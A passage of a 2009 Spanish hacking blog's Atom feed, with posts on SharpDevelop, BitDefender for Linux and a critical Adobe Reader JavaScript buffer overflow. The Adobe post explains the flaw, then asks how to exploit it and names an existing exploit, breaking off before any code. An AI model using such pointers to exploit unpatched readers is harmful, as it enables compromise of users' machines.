id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095772" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095774" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095777" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095779" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095781" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095782" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095786" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095787" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095789" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095790" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095795" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095797" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111522" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111524" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111526" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111804" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111805" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111807" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111808" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111809" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111810" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111811" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111815" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111816" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111817" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111818" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125111819" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125118933" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125118938" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125118939" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125118940" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119110" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119111" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119115" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119116" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119117" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119118" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119119" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119122" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119123" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119124" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119124" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125119125" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148484" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148590" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148592" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148691" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148693" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148694" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148696" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148698" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148699" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148700" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148701" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148702" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148703" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148705" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148706" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148707" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148708" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148805" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148959" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125148978" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149022" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149023" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149025" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149026" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149028" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149029" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149031" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149032" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149033" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149034" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149035" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125149037" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176150" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176155" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176156" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176157" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176310" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176312" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176315" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176316" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176317" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176318" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176319" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176323" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176324" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176325" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176326" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125176327" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185006" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185008" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185012" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185088" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185090" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185092" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185094" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185095" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185099" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185100" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185101" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185102" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185103" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185106" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185107" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185169" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185172" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185174" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185175" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185179" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185180" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185181" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185182" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185183" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185186" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185187" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125185188" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208884" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208886" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208888" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208954" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208955" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208956" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208958" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208959" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208962" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208964" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208965" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208966" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208967" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125208969" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210567" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210569" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210571" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210775" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210777" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210778" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210780" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210781" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210782" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210783" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210784" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210787" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210788" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210789" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125210790" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646486" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646494" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646686" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646748" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646750" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646751" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646752" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646754" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646755" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646756" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646757" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646758" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141646759" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647220" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647222" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647224" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647226" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647234" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647236" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647238" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647239" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647241" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237141647244" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-6693778527931922954?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/6693778527931922954/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=6693778527931922954' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6693778527931922954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6693778527931922954'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/la-semana-1.html' title='La Semana #1'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-6500970463411339664</id><published>2009-03-11T20:46:00.002+01:00</published><updated>2009-03-11T20:55:13.736+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.NET'/><title type='text'>SharpDevelop [IDE PARA .NET]</title><content type='html'>#develop (abreviatura de SharpDevelop) es una IDE gratis para C#, VB.NET y proyectos Boo en la plataforma de Microsoft .NET. Es open-source, y puedes descargar tanto el source como los exe de la página oficial. También puedes encontrar los últimos cambios e información sobre #develop.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.icsharpcode.net/OpenSource/SD/TeaserSharpDevelop2OnVista.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 809px; height: 616px;" src="http://static.icsharpcode.net/OpenSource/SD/TeaserSharpDevelop2OnVista.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sharpdevelop.net/OpenSource/SD/"&gt;Página Principal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.sharpdevelop.net/OpenSource/SD/Download/"&gt;Descargas&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-6500970463411339664?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/6500970463411339664/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=6500970463411339664' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6500970463411339664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6500970463411339664'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/sharpdevelop-ide-para-net.html' title='SharpDevelop [IDE PARA .NET]'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2666873417642992687</id><published>2009-03-08T14:16:00.002+01:00</published><updated>2009-03-08T14:27:22.706+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Bitdefender.. Gratis y para Linux!!</title><content type='html'>Ya está disponible la nueva versión de BitDefender Antivirus Scanner For Unices. Esto es un AV para Linux, gratis para usuarios domésticos. Se integra con los menús del SO y permite realizar los análisis en línea de comandos.  [USO RECOMENDADO A LINUXEROS]&lt;br /&gt;&lt;br /&gt;Fuente : Revista Computer Hoy&lt;br /&gt;Web : www.bitdefender.es&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;div style="visibility: hidden;" title="1236518175703" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175705" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175707" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175760" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175761" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175762" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175763" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175765" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175766" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175767" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175768" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175770" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175773" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175774" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175776" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518175784" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176302" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176304" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176305" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176306" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176307" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176309" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176310" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176311" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176312" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176313" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176315" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518176316" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701012" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701015" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701016" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701228" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701230" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701231" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701233" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701236" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701237" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701238" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701240" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701241" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518701242" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2666873417642992687?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2666873417642992687/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2666873417642992687' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2666873417642992687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2666873417642992687'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/bitdefender-gratis-y-para-linux.html' title='Bitdefender.. Gratis y para Linux!!'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-7305900501237594668</id><published>2009-03-08T13:54:00.003+01:00</published><updated>2009-03-08T14:15:23.826+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vulnerabilidades'/><title type='text'>Adobe Reader y Acrobat... Vulnerables</title><content type='html'>&lt;span style="font-weight: bold;"&gt;¿Qué ocurre?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Una vulnerabilidad crítica afecta a dos productos de Adobe: Acrobat y Reader. Este &lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;fallo es conocido (y por tanto explotable). Ahora empezamos a ello.&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;¿Cuál es el problema?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El problema se produce por una insuficiente validación del código JavaScript en el control de Adobe Reader que permite la apertura de archivos PDF directamente en el navegador, lo que habilita la copia de ciertas cadenas a un búfer de insuficiente tamaño.&lt;br /&gt;&lt;br /&gt;El ataque debe provocarse a través del enlace a un PDF en un sitio Web. Si no se ejecuta el PDF dentro del navegador, la vulnerabilidad no podrá ser explotada.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cuándo se solucionará?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;En el caso de la versión 9, Adobe informa que se reparará el día 11 de Marzo; pero para las versiones 8 y 7 aún no han puesto fecha.&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cómo exploto esta vulnerabilidad?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Creando un exploit (o buscando el ya creado &lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;PDF/Exploit.Pidief.A&lt;/span&gt;, por 